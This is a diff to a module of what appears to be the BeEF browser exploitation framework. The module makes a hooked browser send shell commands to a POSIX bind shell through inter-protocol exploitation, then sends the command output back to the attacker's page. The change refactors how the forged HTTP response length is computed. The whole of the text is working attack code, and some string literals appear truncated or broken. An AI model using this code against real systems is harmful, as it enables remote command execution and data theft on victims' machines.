diff --git a/modules/ipec/inter_protocol_posix_bindshell/command.js b/modules/ipec/inter_protocol_posix_bindshell/command.js
index f8c661234..94e4db557 100644
--- a/modules/ipec/inter_protocol_posix_bindshell/command.js
+++ b/modules/ipec/inter_protocol_posix_bindshell/command.js
@@ -42,15 +42,18 @@ beef.execute(function() {
myform.setAttribute("action",action);
document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform);
+ body1="
";
+ body2="__END_OF_POSIX_IPC<%= @command_id %>__
window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);"+"script>";
+
// post results separator
myExt = document.createElement("INPUT");
myExt.setAttribute("id",<%= @command_id %>);
myExt.setAttribute("name",<%= @command_id %>);
- myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(34+cmd.length+52+parent.length+110+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \"\";(" + cmd + ")|head -c "+size+" ; "); // TODO Calculate Content-Length without hardcoded sizes
+ myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(body1.length+cmd.length+body2.length+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \""+body1+"\";(" + cmd + ")|head -c "+size+" ; ");
myform.appendChild(myExt);
// Adding puffer space for the command result
- end_talkback=" echo -e \"__END_OF_POSIX_IPC<%= @command_id %>__
window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);"+"script>";
+ end_talkback=" echo -e \""+body2;
while(--size) end_talkback+=" ";
end_talkback+="\" \\\\r ;";